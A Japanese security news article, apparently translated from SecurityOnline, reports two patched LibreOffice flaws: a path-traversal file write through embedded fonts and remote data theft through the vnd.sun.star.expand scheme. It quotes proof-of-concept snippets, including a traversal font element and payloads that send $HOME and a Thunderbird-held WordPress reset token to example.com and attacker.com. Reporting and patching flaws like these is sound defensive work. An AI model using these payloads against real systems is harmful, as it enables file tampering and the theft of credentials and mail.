LibreOffice の脆弱性 CVE-2024-12425/12426 が FIX:深刻な情報漏洩と PoC のリリース

LibreOffice Vulnerabilities (CVE-2024-12425 & CVE-2024-12426): PoCs Released, Patch ASAP

2025/02/17 SecurityOnline — LibreOffice に存在する2つの脆弱性を、Codean Labs のサイバー・セキュリティ研究者たちが発見した。これらの脆弱性の悪用に成功した攻撃者は、環境変数やコンフィグ・ファイルに関連する、任意の書き込みやリモート・データの抽出が可能になる。任意のファイル書き込みの脆弱性 CVE-2024-12425 と、リモート・ファイル読み取りの脆弱性 CVE-2024-12426 は、基本的にユーザーの操作を必要としないため、デスクトップ/サーバ環境での悪用の可能性が高くなる。

研究者たちは、「どちらの脆弱性も、ユーザーの操作を必要とせずに、ドキュメントを読み込むときに発生する。つまり、自動化されたサーバ・サイド・ワークフローにおいて、LibreOffice を使用する個人/組織のユーザーにリスクが生じる」と強調している

脆弱性 CVE-2024-12425 は .fodt (Flat ODF) ドキュメントに埋め込まれたフォントを、LibreOffice が処理する方法に起因する。LibreOffice では、ドキュメントの読み込み中にフォント・データを抽出し、それを一時ディレクトリに .ttf ファイルとして保存する。しかし、不適切な入力検証を悪用する攻撃者は、フォント・ファミリ名を操作することで、指定されたディレクトリから抜け出し、システム上の任意の場所にファイルを書き込む機会を手にする。

研究者たちは、「この手順では、何らかの方法でフォントが検証される前に処理が進むため、任意の base64 エンコード・データを指定し、ファイル・システム上の任意の場所に、任意のコンテンツを書き込むことが可能となる」と説明している。

以下のスニペットを取り込むように細工された .fodt ファイルは、被害者のホーム・ディレクトリ内に、”pwned0.ttf” というファイルを書き込むという:

<style:font-face style:name="Foobar" svg:font-family="../../../../../../../pwned" style:font-family-generic="roman" style:font-pitch="variable">
 <svg:font-face-src>
  <svg:font-face-uri loext:font-style="normal" loext:font-weight="normal">
   <office:binary-data>SGVsbG8gd29ybGQgaW5zaWRlIGEgZm9udCBmaWxlIQ==
   </office:binary-data>
   <svg:font-face-format svg:string="opentype"/>
  </svg:font-face-uri>
 </svg:font-face-src>
</style:font-face>

この悪意のファイルが開かれると、システム内の任意のパスへの書き込みアクセス権を、攻撃者は取得することになる。このアクセス権は、”.ttf” 拡張子だけが制限するものとなる。

2つ目の脆弱性 CVE-2024-12426 を悪用する攻撃者は、環境変数/資格情報/コンフィグ・ファイルなどから、機密のシステム情報を盗むことが可能となる。

LibreOffice は、特殊な URL スキームである “vnd.sun.star.expand” をサポートしている。このスキームにより、INI ファイルと環境変数から変数が展開される。したがって攻撃者は、ドキュメント作成を達成し、そこにユーザー・データを秘密裏に漏洩させる。

研究者たちは、「このスキームは、Log4j を彷彿とさせる変数置換機能を備えているため、特に興味深い」と警告している。

以下のスニペットを取り込んだ悪意のドキュメントは、被害者のホーム・ディレクトリを抽出し、攻撃者が管理するサーバへと送信する。

<img src="vnd.sun.star.expand:https://example.com?foo=$HOME">

この手法の対象は、環境変数だけではない。LibreOffice の INI パーサーは、きわめて管理が緩いため、多くのケールにおいて、API キー/データベース資格情報に加えて、シークレット・トークンを含む TOML/.env コンフィグ・ファイルを読み取りも可能になってしまう。

研究者たちは、「ユーザーのシェル履歴ファイルに “=” を含む行があるだけで、ある時点において別プロセスに手動で渡された環境変数でさえ抽出できる」と警告している。

実際の悪用シナリオでは、被害者のメール受信トレイから、攻撃者が WordPress リセット・トークンを盗み出すことも可能だ:

  1. 被害者の WordPress アカウントのパスワード・リセット・リクエストを、攻撃者はトリガーする。
  2. 攻撃者は被害者に対して、悪意の “.odt”/”.doc” ファイルを送信する。
  3. 被害者が、その悪意のファイルを開くと、Thunderbird メール・クライアントからリセット・トークンが抽出される。
  4. 攻撃者はトークンをキャプチャし、被害者の WordPress サイトを乗っ取る。

この攻撃のペイロードは、再帰置換を使用して Thunderbird のメール・データベースを抽出する:

<img src="vnd.sun.star.expand:https://attacker.com/?q=${file\://$HOME/.thunderbird/${file\://$HOME/.thunderbird/profiles.ini:Profile0:Path}/global-messages-db.sqlite:https\://victim-blog.com/wp-login.php?action}">

この攻撃が機能する要因として挙げられるのは、Thunderbird がメール・コンテンツを raw 形式で保存し、WordPress のリセット・メールがトークンを予測できる方法でフォーマットされている点にある。

研究者たちは、「これは、もちろん極めて特殊な状況であるが、各種のメール・クライアントや、機密メールのコンテンツに合わせて、この種の標的型攻撃を簡単に調整できる」と警告している。

Codean Labs が提供する PoC ファイルは、LibreOffice インストールにおける脆弱性の有無を判断する際に有益なものである。ユーザーに対して強く推奨されるのは、LibreOffice のバージョン 24.8.4 以降へと更新し、これらの脆弱性から保護することである。

LibreOffice の脆弱性 CVE-2024-12425/12426 が FIX しました。PoC が提供されていますので、ご利用のチームは、十分にご注意ください。LibreOffice 関連の前回の記事は、2024/09/18 の「LibreOffice の脆弱性 CVE-2024-7788 が FIX:”Repair Mode” における欠陥を排除」でした。よろしければ、LibreOffice で検索と併せて、ご参照ください。